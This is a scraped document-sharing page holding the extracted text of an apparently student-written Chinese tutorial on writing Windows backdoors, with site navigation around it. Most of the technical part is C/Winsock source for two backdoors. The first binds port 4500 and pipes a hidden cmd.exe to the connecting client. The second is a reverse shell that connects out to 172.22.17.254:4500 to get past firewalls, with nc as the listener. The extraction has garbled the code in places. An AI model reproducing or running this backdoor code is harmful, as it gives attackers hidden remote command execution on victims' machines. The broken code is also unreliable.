收藏 分享(赏)

基本的后门编写.doc

上传人:yjrm16270 文档编号:8089659 上传时间:2019-06-08 格式:DOC 页数:9 大小:254.69KB
下载 相关 举报
基本的后门编写.doc_第1页
第1页 / 共9页
基本的后门编写.doc_第2页
第2页 / 共9页
基本的后门编写.doc_第3页
第3页 / 共9页
基本的后门编写.doc_第4页
第4页 / 共9页
基本的后门编写.doc_第5页
第5页 / 共9页
点击查看更多>>
资源描述

1、基本后门的编写网络工程 0901 张恺南 2009266801251.1 后门概述绕过安全性控制而获取对程序或系统访问权的方法。在软件的开发阶段,程序员常会在软件内创建后门以便可以修改程序中的缺陷。如果后门被其他人知道,或是在发布软件之前没有删除后门,那么它就成了安全风险。后门又称为 Back Door 一台计算机上有0 到 65535 共 65536 个端口,那么如果把计算机看作是一间屋子,那么这 65536 个端口就可以把它看做是计算机为了与外界连接所开的 65536 扇门。1.2 后门的发展功能上的发展原始的后门只有 cmdshell 功能,随着后门要求的提高,功能也逐渐强大,添加了比如

2、列举进程、结束进程等功能。在 winshell 之后,后门的功能越来越完善,开远程终端、克隆用户等功能都出现了。隐蔽性的发展在后门功能发展的同时,后门的生存能力也是不得不考虑的,一个后门如果不够隐蔽,那么很容易被管理员删除。隐蔽性分为自启动的隐蔽性、连接上的隐蔽性和进程上的隐蔽性。2.1 简单 cmdshell 的实现什么是 cmdshell?cmd 就是系统中的 cmd 窗口,shell 在英语中是“壳”的意思,cmdshell 可以理解为是由被入侵系统返回的一个类似于 cmd 窗口的可以远程执行命令的模块。本地主机cmdshell 有 1 和 2 两个不同的通信过程,要实现 cmdshel

3、l,必须解决这两个通信问题。首先 1 过程是后门和 cmd 之间的通信,我们可以用管道通信技术来实现这个过程;2 过程是跨越计算机的网络通信,我们可以用 Winsock 类库来实现。2.2.1 管道通信技术什么是管道?管道是一种进程间,确切地说是线程间的通信方法。管道,正如这个名字所表示的,是一个有两个端口的对象,进程可以从这个对象的一个端口写入信息,并从这个对象的另远程主机 1 2cmd telnet后门一个端口读取信息。管道其实也是一个共享内存,但是这个共享内存更加规范,而且有类似于队列的数据结构,不像内存映射文件那样仅仅是共享内存。2.2.2 正向连接后门编程所谓正向连接后门,就是在被控

4、制的计算机上监听一个端口,等待连接,当有连接后就启动后门功能,这又是最古老的后门。2.2.2.1 双管道后门所谓双管道后门,顾名思义也就是这个后门建立了两个管道。由于匿名管道是单向的,所以 cmd 的执行结果写入管道 1 的写句柄(hWritePipe) ,后门从管道 1 的读句柄(hReadFile)读取 cmd 的执行结果;后门把接收到的命令写入管道 2 的写句柄(hWriteFile) ,cmd 通过管道 2 的读句柄(hReadPipe)读取命令执行。通过 CreatePipe 函数建立管道,建立两个线程,每个线程建立一个管道,线程 1 用于循环读取管道 1 中的数据,一旦读到数据,就

5、发送给控制者;线程 2 用于循环接受数据,一旦接受到数据就写入管道 2 中,由 cmd 来执行。具体代码如下:/接受远程主机的命令,并写入管道 2DWORD WINAPI Thread2( LPVOID lpParam )SECURITY_ATTRIBUTES sa;DWORD nByteToWrite, nByteWritten;char recv_buff1024;用 winsock 建立 tcp 服务端部分,用于等待本地连接调用 CreatePipe 函数建立管道,返回管道句柄利用管道句柄把管道和触摸到的输入输出关联起来调用 CreateProcess 函数建立cmd 进程利用管道句柄,

6、调用WriteFile 和 ReadFile 写入和读取管道中的信息Winsock收到的信息写入管道读取到的信息由winsock发送建立连接后sa.nLength = sizeof(SECURITY_ATTRIBUTES);sa.lpSecurityDescriptor = NULL;sa.bInheritHandle = TRUE;/创建管道CreatePipe(while(true)Sleep(250);/接受远程 cmd 命令nByteToWrite = recv(sClient ,recv_buff,1024,0);/写入管道WriteFile(hWriteFile,recv_buff

7、,nByteToWrite,return 0;/读取管道 1 中的数据,返回给远程主机DWORD WINAPI Thread1( LPVOID lpParam )SECURITY_ATTRIBUTES sa;DWORD len;char send_buff2048;sa.nLength = sizeof(SECURITY_ATTRIBUTES);sa.lpSecurityDescriptor = NULL;sa.bInheritHandle = TRUE;CreatePipe(while (true)/读取管道中的数据ReadFile(hReadFile,send_buff,2048,/把管道

8、中的数据发送给远程主机send(sClient,send_buff,len,0);return 0;在主函数中我们只要调用 CreateThread 函数启动这两个线程就可以了。由于这两个线程是在接收连接后,但管道没有和 cmd 的输入输出关联时启动,所以启动后,线程 1 是不能从管道 1 中读到数据的。线程 2 假如接收到命令写入管道 2 中,cmd 也是不会执行的。只有把管道和 cmd 的输入输出关联起来并且启动 cmd 进程后,这两个管道才能发挥它的作用。下面用管理句柄把管道和 cmd 的输入输出关联起来。这里要用到 LSPTARTUPINFO结构,这个结构是 CreateProcess

9、 函数的一个参数,它指定了新进程中的主窗口的位置、大小、输入、输出等信息。具体代码如下:GetStartupInfo(si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;/使 cmd 的输入输出和管道关联si.hStdInput = hReadPipe;/从管道 2 读句柄,读取命令si.hStdError = hWritePipe;/错误输出到管道 1 写句柄si.hStdOutput = hWritePipe;/执行结构从管道写句柄输入si.wShowWindow = SW_HIDE;/隐藏 cmd 窗口在实现 cmd 和管道之间的

10、通信关系后,只剩下调用 CreateProcess 函数启动 cmd 进程的工作了。具体代码如下:char cmdline256=0;/得到系统路径GetSystemDirectory(cmdline,sizeof(cmdline);strcat(cmdline,“cmd.exe“);/创建 cmd 进程if (CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, return 0; 这样整个后门就实现了,整合代码如下:/ door.cpp : Defines the entry point for the console

11、application./#include “stdafx.h“#include #include #pragma comment(lib, “ws2_32.lib“)SOCKET sListen,sClient;/定义管道句柄HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;/接受远程主机的命令,并写入管道 2DWORD WINAPI Thread2( LPVOID lpParam )SECURITY_ATTRIBUTES sa;DWORD nByteToWrite, nByteWritten;char recv_buff1024;sa.

12、nLength = sizeof(SECURITY_ATTRIBUTES);sa.lpSecurityDescriptor = NULL;sa.bInheritHandle = TRUE;/创建管道CreatePipe(while(true)Sleep(250);/接受远程 cmd 命令nByteToWrite = recv(sClient ,recv_buff,1024,0);/写入管道WriteFile(hWriteFile,recv_buff,nByteToWrite,return 0;/读取管道 1 中的数据,返回给远程主机DWORD WINAPI Thread1( LPVOID lp

13、Param )SECURITY_ATTRIBUTES sa;DWORD len;char send_buff2048;sa.nLength = sizeof(SECURITY_ATTRIBUTES);sa.lpSecurityDescriptor = NULL;sa.bInheritHandle = TRUE;CreatePipe(while (true)/读取管道中的数据ReadFile(hReadFile,send_buff,2048,/把管道中的数据发送给远程主机send(sClient,send_buff,len,0);return 0;int main(int argc, char*

14、 argv)HANDLE hThread2;DWORD dwThreadIdA,dwThreadIdB;PROCESS_INFORMATION pi;STARTUPINFO si;/初始化 socket,并绑定本地端口监听BYTE minorVer = 2; BYTE majorVer = 2;WSADATA wsaData;WORD sockVersion = MAKEWORD(minorVer, majorVer);if(WSAStartup(sockVersion, sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(sListe

15、n = INVALID_SOCKET)printf(“socket error n“);return 0;sockaddr_in sin;sin.sin_family = AF_INET;sin.sin_port = htons(4500);sin.sin_addr.S_un.S_addr = INADDR_ANY;if(bind(sListen, (LPSOCKADDR)return 0;if(listen(sListen, 2) = SOCKET_ERROR)printf(“listen error n“);return 0;/接收连接sClient = accept(sListen, N

16、ULL, NULL);/创建两个进程,用于读取写入管道中的数据,实现通信hThread0=CreateThread(NULL, 0, Thread1, NULL, 0, hThread1=CreateThread(NULL, 0, Thread2, NULL, 0, /暂停 1 秒,为了确保两个线程中的管道创建完毕,因为下面要对管道进行操作Sleep(1000);GetStartupInfo(si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;/使 cmd 的输入输出和管道关联si.hStdInput = hReadPipe;si.hS

17、tdError = hWritePipe;si.hStdOutput = hWritePipe;si.wShowWindow = SW_HIDE;char cmdline256=0;/得到系统路径GetSystemDirectory(cmdline,sizeof(cmdline);strcat(cmdline,“cmd.exe“);/创建 cmd 进程if (CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, return 0; /发送欢迎信息send(sClient ,wMessage,strlen(wMessage),

18、0);/等待线程结束WaitForMultipleObjects(2,hThread,true,INFINITE); return 0;Telnet 连接后门的效果如下2.2.3 反向链接后门随着防火墙的普及,对于服务器外部的连接往往会会受到防火墙的拦截,那么正向连接后门就失去了它的作用。所谓反向连接后门,就是在后门充当客户端,由后门本身发起连接,也就是说从被控制的服务器发起连接,而在本地只需监听特定端口即可,这样的后门可以穿透一些防火墙。部分代码如下:#include “stdafx.h“#include #include #pragma comment(lib, “ws2_32.lib“)

19、int cmdshell(SOCKET s) STARTUPINFO si;GetStartupInfo(si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.wShowWindow=SW_HIDE;si.hStdInput=si.hStdOutput=si.hStdError=(void*)s;char cmdline256;GetSystemDirectory(cmdline,sizeof(cmdline);strcat(cmdline,“cmd.exe“);PROCESS_INFORMATION ProcessInformat

20、ion;int ret;ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,WaitForSingleObject(ProcessInformation.hProcess,INFINITE);CloseHandle(ProcessInformation.hProcess);return 0;int main(int argc, char* argv)char wMessage512 = “rn= BackDoor=rn“; BYTE minorVer = 2; BYTE majorVer = 2;WSADATA wsaData;WORD

21、 sockVersion = MAKEWORD(minorVer, majorVer);if(WSAStartup(sockVersion, SOCKET s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);if(s = INVALID_SOCKET)printf(“ socket error n“);return 0;sockaddr_in sin; sin.sin_family = AF_INET;sin.sin_port = htons(4500);sin.sin_addr.S_un.S_addr = inet_addr(“172.22.17.254“);if(connect(s, (sockaddr*)return 0;if (send(s,wMessage,strlen(wMessage),0)=SOCKET_ERROR)printf(“Send message error n“);return 0;cmdshell(s);return 0;在本地使用 nc 监听 4500 端口,运行后门后如图所示。3.1 cmdshell 功能的拓展与转换(演示)本文原理、代码参考 黑客编程实例精讲 II边立忠 著

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 企业管理 > 管理学资料

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报